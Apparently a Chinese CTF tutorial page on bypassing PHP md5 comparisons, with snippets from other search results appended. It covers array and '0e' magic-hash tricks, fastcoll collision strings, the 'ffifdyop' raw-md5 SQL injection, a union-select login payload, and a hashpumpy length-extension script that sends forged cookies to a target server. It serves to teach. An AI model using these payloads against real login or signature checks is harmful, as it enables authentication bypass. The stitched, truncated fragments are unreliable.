精华内容
下载资源
问答
  • MD5绕过

    2021-05-14 08:54:50
    MD5绕过MD5弱类型比较方法一:数组绕过方法二:科学计数法绕过MD5判断扩展构造MD5强类型比较方法一:数组绕过方法二:使用md5加密后两个完全相等的两个字符串绕过哈希长度扩展攻击 MD5弱类型比较 <?php ...

    MD5弱类型比较

    <?php
    highlight_file(__FILE__);
    error_reporting(0);
    $flag = "flag{H3rmesk1t_is_a_loser}";
    $val1 = $_GET['val1'];
    $val2 = $_GET['val2'];
    if (isset($_GET['val1']) and isset($_GET['val2']))
    {
    	if ($_GET['val1'] != $_GET['val2'])
    	{
    		if ((md5($_GET['val1']) == md5($_GET['val2'])))
    			echo $flag;
    		else
    			echo "you can't get flag";
    	}
    }
    ?>
    
    <?php
    highlight_file(__FILE__);
    error_reporting(0);
    $flag = "flag{H3rmesk1t_is_a_loser}";
    $val1 = $_GET['val1'];
    $val2 = $_GET['val2'];
    if (isset($_GET['val1']) and isset($_GET['val2']))
    {
    	if ($_GET['val1'] != $_GET['val2'])
    	{
    		if ((md5($_GET['val1']) == md5($_GET['val2'])) and (md5(md5($_GET['val2'])) == md5(md5($_GET['val1']))))
    			echo $flag;
    		else
    			echo "you can't get flag";
    	}
    }
    ?>
    

    方法一:数组绕过

    由于md5不能加密数组,在加密数组的时候会返回NULL,所以我们可以传入两个数组
    数组绕过适用于源码中没有判断变量类型或内容,如果加上了过滤函数就不能使用了

    常见过滤函数如下:
    
    ctype_alnum ( string $text ) : bool
    // 如果text中所有的字符全部是字母和(或者)数字,返回 TRUE 否则返回FALSE 
    
    is_numeric ( mixed $var ) : bool
    // 如果 var 是数字和数字字符串则返回 TRUE,否则返回 FALSE
    

    在这里插入图片描述
    在这里插入图片描述

    方法二:科学计数法绕过

    可以传入两个md5加密后是0e开头的字符串,需要注意的地方是,这个以0e开头的字符串只能是纯数字,这样php在进行科学计算法的时候才会将它转化为0;可以查找以0e开头md5加密相等的字符串,也可以自己编写代码,提供以下脚本

    <?php
    for($a=1;$a<=1000000000;$a++){
       $md5 = md5($a);
       if(preg_match('/^0e\d+$/',$md5)){
          echo $a;
          echo "\n";
          echo $md5;
          echo "\n";
       }
    }
    

    常见的字符串

    byGcY
    0e591948146966052067035298880982
    
    QNKCDZO
    0e830400451993494058024219903391
    
    s878926199a
    0e545993274517709034328855841020
    
    s155964671a
    0e342768416822451524974117254469
    
    s214587387a
    0e848240448830537924465865611904
    
    s214587387a
    0e848240448830537924465865611904
    
    s878926199a
    0e545993274517709034328855841020
    
    s1091221200a
    0e940624217856561557816327384675
    
    s1885207154a
    0e509367213418206700842008763514
    
    240610708
    0e462097431906509019562988736854
    
    314282422
    0e990995504821699494520356953734
    
    571579406
    0e972379832854295224118025748221
    
    903251147
    0e174510503823932942361353209384
    

    在这里插入图片描述
    在这里插入图片描述

    双MD5判断

    对于有些题目,可能会经过两次MD5值的判断

    MD5和双MD5以后的值都是0e开头的
    
    CbDLytmyGm2xQyaLNhWn
    770hQgrBOjrcqftrlaZk
    7r4lGXCH2Ksu2JNT3BYM
    
    脚本
    
    # -*- coding: utf-8 -*-
    import multiprocessing
    import hashlib
    import random
    import string
    import sys
    CHARS = string.letters + string.digits
    def cmp_md5(substr, stop_event, str_len,. start=0, size=20):
        global CHARS
        while not stop_event.is_set():
            rnds = ''.join(random.choice(CHARS) for _ in range(size))
            md5 = hashlib.md5(rnds)
            value = md5.hexdigest()
            if value[start: start+str_len] == substr:
                print rnds
                stop_event.set()
                '''
                #碰撞双md5
                md5 = hashlib.md5(value)
                if md5.hexdigest()[start: start+str_len] == substr:
                    print rnds+ "=>" + value+"=>"+ md5.hexdigest()  + "\n"
                    stop_event.set()
                '''
    
    if __name__ == '__main__':
        substr = sys.argv[1].strip()
        start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
        str_len = len(substr)
        cpus = multiprocessing.cpu_count()
        stop_event = multiprocessing.Event()
        processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
                                             stop_event, str_len, start_pos))
                     for i in range(cpus)]
        for p in processes:
            p.start()
        for p in processes:
            p.join()
    

    扩展构造

    若有要求 md5 值的明文长度很小,其中只能出现一种字母,那么可以写脚本获取明文

    $a = $_POST['a'];
    $b = $_POST['b'];
    $m = $_GET['m'];
    $n = $_GET['n'];
    
    if (!(ctype_alnum($a)) || (strlen($a) > 5)  || !(ctype_alnum($b)) || (strlen($b) > 6))
    {
        echo "a OR b fail!";
        die();
    }
    
    if ((strlen($m) > 1) || (strlen($n) > 1))
    {
        echo "m OR n fail";
        die();
    }
    
    $val8 = md5($a);
    $val9 = strtr(md5($b), $m, $n);
    
    echo PHP_EOL;
    echo "<p>val8 : $val8</p>";
    echo PHP_EOL;
    echo "<p>val9 : $val9</p>";
    echo PHP_EOL;
    if (($val8 == $val9) && !($a === $b) && (strlen($b) === 5))
    {
        echo "nice,good job,give you flag:";
        echo file_get_contents('/var/www/html/flag.php');
    }
    

    代码的意思就是需要一个长度小于等于 5 的字符串的 md5 值是科学计数法样式
    还需要一个长度等于 5 的字符串的 md5 值在替换一个字符后能变成科学计数法样式的 md5,这也是我们要求的

    import hashlib
    import string
    
    str_list = list(string.letters + string.digits)
    
    for i in range(0, len(str_list)):
        for j in range(0, len(str_list)):
            for k in range(0, len(str_list)):
                for l in range(0, len(str_list)):
                    for m in range(0, len(str_list)):
                        tmp = str_list[i] + str_list[j] + str_list[k] + str_list[l] + str_list[m]
                        str_hash = hashlib.md5(tmp).hexdigest()
                        check = str_hash[0:2]
                        str_hash = str_hash[2:32]
                        a = str_hash.replace('a', '1')
                        b = str_hash.replace('b', '1')
                        c = str_hash.replace('c', '1')
                        d = str_hash.replace('d', '1')
                        e = str_hash.replace('e', '1')
                        f = str_hash.replace('f', '1')
                        g = str_hash.replace('g', '1')
                        h = str_hash.replace('h', '1')
                        i1 = str_hash.replace('i', '1')
                        j1 = str_hash.replace('j', '1')
                        k1 = str_hash.replace('k', '1')
                        l1 = str_hash.replace('l', '1')
                        m1 = str_hash.replace('m', '1')
                        n = str_hash.replace('n', '1')
                        o = str_hash.replace('o', '1')
                        p = str_hash.replace('p', '1')
                        q = str_hash.replace('q', '1')
                        r = str_hash.replace('r', '1')
                        s = str_hash.replace('s', '1')
                        t = str_hash.replace('t', '1')
                        u = str_hash.replace('u', '1')
                        v = str_hash.replace('v', '1')
                        w = str_hash.replace('w', '1')
                        x = str_hash.replace('x', '1')
                        y = str_hash.replace('y', '1')
                        z = str_hash.replace('z', '1')
                        if check == '0e' and (
                                a.isdigit() or b.isdigit() or c.isdigit() or d.isdigit() or e.isdigit() or f.isdigit() or g.isdigit() or h.isdigit() or i1.isdigit() or j1.isdigit() or k1.isdigit() or l1.isdigit() or m1.isdigit() or n.isdigit() or o.isdigit() or p.isdigit() or q.isdigit() or r.isdigit() or s.isdigit() or t.isdigit() or u.isdigit() or v.isdigit() or w.isdigit() or x.isdigit() or y.isdigit() or z.isdigit()):
                            print tmp
                            print str_hash
    

    MD5强类型比较

    <?php
    highlight_file(__FILE__);
    error_reporting(0);
    $flag = "flag{H3rmesk1t_is_a_loser}";
    $val1 = $_GET['val1'];
    $val2 = $_GET['val2'];
    if (isset($_GET['val1']) and isset($_GET['val2']))
    {
    	if ($_GET['val1'] != $_GET['val2'])
    	{
    		if ((md5($_GET['val1']) === md5($_GET['val2'])))
    			echo $flag;
    		else
    			echo "you can't get flag";
    	}
    }
    ?>
    

    方法一:数组绕过

    因为是强类型比较,用0e开头的字符串是没办法绕过的了,但是PHP自身的特性使得可以提交一个数组
    而md5函数传入数组的返回值都是NULL,这样就可以绕过强类型比较了

    在这里插入图片描述

    方法二:使用md5加密后两个完全相等的两个字符串绕过

    利用fastcoll_v1.0.0.5.exe来生成符合条件的字符串
    构造:
    (1)创建一个文本文件,写入任意的文件内容,命名为ywj.txt (源文件)
    (2)运行fastcoll输出以下参数:-p 是源文件,-o是输出文件
    执行命令:fastcoll_v1.0.0.5.exe -p ywj.txt -o 1.txt 2.txt
    对产生的1.txt和2.txt文件进行测试

    <?php 
    function  readmyfile($path){
        $fh = fopen($path, "rb");
        $data = fread($fh, filesize($path));
        fclose($fh);
        return $data;
    }
    echo '二进制md5加密 '. md5( (readmyfile("D:\\ctf工具\\fastcoll_v1.0.0.5.exe\\1.txt")))."\n";
    echo  'url编码 '. urlencode(readmyfile("D:\\ctf工具\\fastcoll_v1.0.0.5.exe\\1.txt"))."\n";
    echo '二进制md5加密 '.md5( (readmyfile("D:\\ctf工具\\fastcoll_v1.0.0.5.exe\\2.txt")))."\n";
    echo  'url编码 '.  urlencode(readmyfile("D:\\ctf工具\\fastcoll_v1.0.0.5.exe\\2.txt"))."\n";
    
    二进制md5加密 ecd33e3e09ff2a58e1d9ed7189dc186b
    url编码 abc%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D6%16y%AC%CE%C5%A1LrY5fn%94%10%D9%01%C3%AC%F8%AAN%21%D0%27%BE%3Ej%A7%22%0C%D08%D3%AF%DFRo%2F%A4%8B%E8%EB45j%E4h%9C%21%22%AB%7E%BC%8E%7C%17%9E%C3Xg%D7%A8%CDHt%BE%AB.%2FWb%3Eb%EA%FC%261%0F_%3D%AFo%3F%1E%DE%E8i%86%7D%BF%C7_Q%CDA%B4%CF%B8n%06Ir%7F%5C%A3k%F9%2AO%DFF%2A%F3%8BcH%FF%85%3F%0D%D0%9B%C7%C8-%12%92
    二进制md5加密 ecd33e3e09ff2a58e1d9ed7189dc186b
    url编码 abc%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D6%16y%AC%CE%C5%A1LrY5fn%94%10%D9%01%C3%ACx%AAN%21%D0%27%BE%3Ej%A7%22%0C%D08%D3%AF%DFRo%2F%A4%8B%E8%EB45%EA%E4h%9C%21%22%AB%7E%BC%8E%7C%17%9E%C3%D8g%D7%A8%CDHt%BE%AB.%2FWb%3Eb%EA%FC%261%0F_%3D%AFo%BF%1E%DE%E8i%86%7D%BF%C7_Q%CDA%B4%CF%B8n%06Ir%7F%5C%A3k%F9%2A%CF%DEF%2A%F3%8BcH%FF%85%3F%0D%D0%9BG%C8-%12%92
    

    可以看到,1.txt和2.txt文件二进制md5加密后的结果完全相同。由于1.txt和2.txt文件中含有不可见字符,所以需要将其url编码后使用
    可以看到url编码后的两个字符串不完全相同,满足我们输入两个不同参数的需要

    在这里插入图片描述

    哈希长度扩展攻击

    用途

    • $hash = md5($secret.$key) 中已知 $hash$key 以及 $secret 的长度时
    • 可以找到另一个 $_hash$_key 使得 $_hash = md5($secrect.$_key) 成立

    hash算法

    1. MD5加密过程中512比特(64字节)为一组,属于分组加密,而且在运算的过程中,将512比特分为32bit*16块,分块运算
    2. 我们关键利用的是MD5的填充,对加密的字符串进行填充(比特第一位为1其余比特为0),使之(二进制)补到448模512同余,即长度为512的倍数减64,最后的64位在补充为原来字符串的长度,这样刚好补满512位的倍数,如果当前明文正好是512bit倍数则再加上一个512bit的一组。
    3. MD5不管怎么加密,每一块加密得到的密文作为下一次加密的初始向量IV,这一点很关键

    比如说计算字符串admin,十六进制0x64676d696e,这里与448模512不同余,补位后数据如下:0x61646d696e8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002800000000000000

    在这里插入图片描述

    攻击原理

    在这里插入图片描述

    这样的话,假设secret只知道位数的话,将其填充成secret1,其中n=hash(secret)=hash(secret1)已知,则hash(secret1+任意数据)都可以求出,因为(secret1+任意数据)会被分为很多组,第一组为secret1,则第一组生成的向量即为n,直接用于接下来的运算即可。所以hash扩展长度攻击我理解就是,已知secret长度和hash值,就可以求出(secret+任意数据)的hash值
    如果一个应用程序是这样操作的:

    • 准备了一个密文和一些数据构造成一个字符串里,并且使用了MD5之类的哈希函数生成了一个哈希值(也就是所谓的signature/签名)
    • 让攻击者可以提交数据以及哈希值,虽然攻击者不知道密文
    • 服务器把提交的数据跟密文构造成字符串,并经过哈希后判断是否等同于提交上来的哈希值

    已知salt长度

    <?php
    if (!empty($_COOKIE["getmein"])) {
        if (urldecode($username) === "admin" && urldecode($password) != "admin") {
            if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
                echo "Congratulations! You are a registered user.\n";
                die ("The flag is ". $flag);
            }
            else {
                die ("Your cookies don't match up! STOP HACKING THIS SITE.");
            }
        }
        else {
            die ("You are not an admin! LEAVE.");
        }
    }
    
    setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));
    

    其中已知sample-hash,即hash(secret+”adminadmin”),这时候构造username=”admin”password=”admin/x80/00…../00gg”,其中使得secret+username+password恰好分为两组,第一组和secret+adminadmin一样(因为前面求hash(secret+”adminadmin”)时需要填充成hash(secret+”adminadmin”+”/x80/00…”),第二组为gg,这时候求hash(secret+username+password)等价于求hash(gg),但是初始向量变成第一组的hash值(已知),然后构造cookie中的getmein提交即可

    在这里插入图片描述

    • 第一行是得到的hash值,即hash(secret+’adminadmin’)
    • 第二行是已知数据,即’adminadmin’
    • 第三行是总长度
    • 第四行是要添加的数据(这个随意)

    将得到的第一行设置到cookie的getmein中,第二行为username+password的值

    在这里插入图片描述

    未知salt长度

    攻击代码
    
    import hashpumpy
    import urllib
    import requests
    for i in range(1,30):
    	m=hashpumpy.hashpump('3a4727d57463f122833d9e732f94e4e0',';\"tseug\":5:s',';\"nimda\":5:s',i)
    	print i		
    	url='http://120.26.131.152:32778/'
    	digest=m[0]
    	
    	message=urllib.quote(urllib.unquote(m[1])[::-1])
    	cookie='role='+message+'; hsh='+digest
    	#print cookie
    	headers={
    	'cookie': cookie,
    	'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
    	'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    	'Accept-Language': ':zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    	'Accept-Encoding': 'gzip, deflate'
    }
    	print headers
    	re=requests.get(url=url,headers=headers)
    	print re.text
    	if "Welcome" in re.text:
    		print re;
    		break
    
    使用说明
    
    >>> import hashpumpy
    >>> help(hashpumpy.hashpump)
    Help on built-in function hashpump in module hashpumpy:
    hashpump(...)
        hashpump(hexdigest, original_data, data_to_add, key_length) -> (digest, message)
        Arguments:
            hexdigest(str):      Hex-encoded result of hashing key + original_data.
            original_data(str):  Known data used to get the hash result hexdigest.
            data_to_add(str):    Data to append
            key_length(int):     Length of unknown data prepended to the hash
        Returns:
            A tuple containing the new hex digest and the new message.
    >>> hashpumpy.hashpump('ffffffff', 'original_data', 'data_to_add', len('KEYKEYKEY'))
    ('e3c4a05f', 'original_datadata_to_add')
    

    例题

    例题解析链接

    展开全文
  • PHP中MD5常见绕过

    千次阅读 2020-05-12 17:41:09
    PHP中md5绕过md5($password,true)的SQL注入问题两变量值不相等,md5计算散列值后相等的绕过MD5碰撞 函数: md5($string,bool): 得到一个字符串散列值。 其中第二个参数默认为false,表示该函数返回值是32个字符的...

    函数:

    md5($string,bool): 得到一个字符串散列值。

    其中第二个参数默认为false,表示该函数返回值是32个字符的十六进制数。

    若指定为true,则表示函数返回的是16字节的二进制格式(这样通过浏览器解析会出现乱码)。

    md5($password,true)的SQL注入问题

    这里需要注意一下MYSQL中的一些数值比较的特征。

    1.当数字和字符串比较时,若字符串的数字部分(需要从头开始)和数字是相同的,那么则返回的是true。

    select if(1="1a","相等","不相等") as test
    

    if(exp1,stat1,stat2):类似于高级语言中三元运算符。当exp1为true的是否返回stat1,为false返回stat2
    在这里插入图片描述

    2.以数字开头的字符串,若开头的字符不是0,那么在做逻辑运算的时候返回的是1,也就是true。

    比如以下语句就是一个万能密码的例子:

    select * from user where password =''or'1234a';
    

    解释一下:'1234a’会被当做true对待。而任何数和true做逻辑或运算返回的值都是true.
    在这里插入图片描述

    看这个md5($password,true)的漏洞

    select * from usera where username = 'admin' and password = md5($pass,true)
    

    若我们可找到字符串,在对该字符串进行md5后能够得到 'or’加上一个非0的字符就可以绕过。这里我们可以用到的字符串为:ffifdyop。它的md5结果是:276f722736c95d99e921722cf9ed621c 。通过这个结果我们可以发现得到16字节的二进制被解析为字符的结果是:'or’6后面接乱码 (27是单引号的16进制编码,67是字母o的16进制…)这样后构造的sql语句就位

    select * from user where password=' 'or'6xxx'
    

    和上面分析的万能密码是一致的。

    两变量值不相等,md5计算散列值后相等的绕过

    • ==的绕过

    PHP中==是判断值是否相等,若两个变量的类型不相等,则会转化为相同类型后再进行比较。PHP在处理哈希字符串的时候,它把每一个以0e开头的哈希值都解析为0。常见的如下:

    在md5加密后以0E开头

    • QNKCDZO
    • 240610708
    • s878926199a
    • s155964671a

    一下值在sha1加密后以0E开头

    • aaroZmOk
    • aaK1STfY

    payload: /?a=QNKCDZO&b=240610708

    <?php
        if($_GET['a'] !== $_GET['b']){
            if(md5($_GET['a']) == md5($_GET['b'])){
                echo "flag";
            }
        }
    ?>
    
    • ===的绕过

    ===会比较类型,这个时候可以用到PHP中md5()函数无法处理数组(会返回NULL)来实现绕过。

    payload: /?a[]=1&b[]=2 (上面==的例子也可以用数组绕过)

    <?php
        if($_GET['a'] !== $_GET['b']){
            if(md5($_GET['a']) === md5($_GET['b'])){
                echo "flag";
            }
        }
    ?>
    

    MD5碰撞

     if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
            echo `$cmd`;
        } else {
            echo ("md5 is funny ~");
        }
    

    这里和上面不同之处在于有一个强制类型转化,若传入数组转化后的结果都是字符串Array。这里需要用到的是MD5碰撞,也就是不同字符串但是MD5后值相同的情况。下面的任意两组字符串内容不同,但md5结果相同

    $s1 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab"
    $s2 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab"
    $s3 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%ed%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%a7%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%e6%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%16%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%33%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%6f%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab"
    
    展开全文
  • 三、MD5函数===绕过 error_reporting(0); $flag = 'flag{test}'; if (isset($_GET['username']) and isset($_GET['password'])) { if ($_GET['username'] == $_GET['password']) print 'Your password can not ...

    一、strpos数组绕过NULL

    <?php
    
    $flag = "flag";
    
        if (isset ($_GET['nctf'])) {
            if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
                echo '必须输入数字才行';
            else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
                die('Flag: '.$flag);
            else
                echo '骚年,继续努力吧啊~';
        }
    
     ?>
    

    定义和用法
    strpos() 函数查找字符串在另一字符串中第一次出现的位置。

    它不能对数组处理,如果是数组则返回null,null,也就不等于FALSE.
    payload为?nctf[]=1

    二、密码md5比较绕过

    <?php
    
    if($_POST[user] && $_POST[pass]) {
       mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
      mysql_select_db(SAE_MYSQL_DB);
      $user = $_POST[user];
      $pass = md5($_POST[pass]);
      $query = @mysql_fetch_array(mysql_query("select pw from ctf where user=' $user '"));
      if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
    
    
          echo "<p>Logged in! Key: ntcf{**************} </p>";
      }
      else {
        echo("<p>Log in failure!</p>");
      }
    }
    
    ?>
    

    审计源码可知,要想得到flag,只需要同时满足

    ($query[pw]) && (!strcasecmp($pass, $query[pw]))
    

    $user变量我们是可以控制的,然后又没有任何过滤措施
    我们就可以直接利用这个语句选择一个相应的密码给对应的pw

    如果前面的用户名不存在的话
    mysql_fetch_array(mysql_query(“select pw from ctf where user=’$user’”));
    取到的东西就是空,然后在加上我们的md5密码,就可以实现成功登陆

    strcasecmp函数,比较2个字符串,不区分大小写。如果2个字符串大小相等就返回0。

    最后payload
    user=1’ union select md5(1)%23&pass=1

    三、MD5函数===绕过

    <?php
    error_reporting(0);
    $flag = 'flag{test}';
    if (isset($_GET['username']) and isset($_GET['password'])) {
        if ($_GET['username'] == $_GET['password'])
            print 'Your password can not be your username.';
        else if (md5($_GET['username']) === md5($_GET['password']))
            die('Flag: '.$flag);
        else
            print 'Invalid password';
    }
    ?>
    

    由于md5解析不了数组,返回空。

    payload:?username[]=1&password[]=2

    展开全文
  • md5绕过

    2020-03-21 11:31:29
    if (md5($Username) == md5($password)) {$logined = true;} 大意是要输入一个字符串和数字类型,并且他们的md5值相等,就可以成功执行下一步语句 介绍一批md5开头是0e的字符串 0e在比较的时候会将其视作为科学计数...
    if (md5($Username) == md5($password)) {
       $logined = true;}
    

    大意是要输入一个字符串和数字类型,并且他们的md5值相等,就可以成功执行下一步语句
    介绍一批md5开头是0e的字符串 0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。

    QNKCDZO
    0e830400451993494058024219903391
     
    展开全文
  • md5绕过 Hash比较缺陷

    2018-11-14 18:55:22
    md5绕过 Hash比较缺陷
  • md5绕过_ffifdyop

    千次阅读 2018-08-07 23:01:06
    地址: http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php 源码: &lt;!-- $password=$_POST['password'];...SELECT * FROM admin WHERE username = 'admin' and ....md5($password,true)."'"; $...
  • PHP绕过md5

    2018-11-20 11:52:37
    测试代码: if (isset($_GET['Username']) &amp;&amp; isset($_GET['password'])) { ... $Username = $_GET['Username']; $password = $_GET['password']; if (!ctype_alpha($Usernam...
  • md5绕过 $username = $_POST['username']; $password = md5($_POST['password'],true); //只有admin可以获得flag if($username!='admin'){ $ret['msg']='用户名不存在'; die(json_encode($ret)); } 看...
  • md5绕过(Hash比较缺陷)

    万次阅读 2017-08-28 23:03:44
    if (md5($Username) == md5($password)) {$logined = true;}  题目大意是要输入一个字符串和数字类型,并且他们的md5值相等,就可以成功执行下一步语句 介绍一批md5开头是0e的字符串 上文提到,0e在比较的时候...
  • 1 <?php 2 $username=True; 3 if(intval($_GET['username'])){ 4 preg_match("/[a-zA-Z0-9]*/", $_GET['username'],$username);... 5 if ($username) { 6 echo "<center>usernam...
  • md5(string,true)绕过

    2021-03-19 19:54:37
    $sql="select * from user where username ='admin' and password ='".md5($password,true)."'"; md5(ffifdyop,true)='or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c 原sql查询语句则变为select * from user where ...即可绕过.
  • 一个绕过MD5的SQL注入技巧

    千次阅读 2018-04-12 10:06:33
    http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php 隐藏在注释里的提示: $password=$_POST['password']; $sql = "SELECT * FROM admin WHERE username....md5($password,true)."'"; $result=my...
  • [极客大挑战 2019]BabySQL 前言 文章所涉及的资料来自互联网整理和个人总结,意在于个人...考点是MD5比较的绕过 查询时会生成一个虚拟的表,如果用联合查询… 他就会把本该没有的数据也插入到虚拟表中 如果让usernam
  • base32再base64解密之后是 select * from user where username = '$name'。常规sql注入手段猜测后台代码中的字段数: 1' union select 1,2# 1' union select 1,2,3# 可以测出user这个表一共有三列,猜测分别为id,...
  • 绕过md5验证继续入侵

    千次阅读 2007-06-07 03:49:00
    一切就绪,现在开始再抓一次修改密码的包,为了方便起见我已经把管理员信息改为username=admin,fullname=doudou了,剩下包里需要修改的信息,就是md5的密码值,因为md5加密后都是16位的,不影响包大小。 ----------...
  • 起初不管输入什么都没有回显,访问robots.txt 下载查看源代码 <?... $flag=""; $password=$_POST['... $sql="select * from user where username ='admin' and password ='".md5($password,true)."'"; $resu
  • MD5碰撞和MD5值(哈希值)相等

    千次阅读 2018-12-10 22:06:13
    md5的碰撞,在PHP的数的处理中,0开头的字符串会被转换成0,所以才会有md5碰撞。 0e开头的md5和原值: QNKCDZO 0e830400451993494058024219903391 s878926199a 0e545993274517709034328855841020 s155964671a 0e...
  • php MD5函数

    2020-01-06 17:51:31
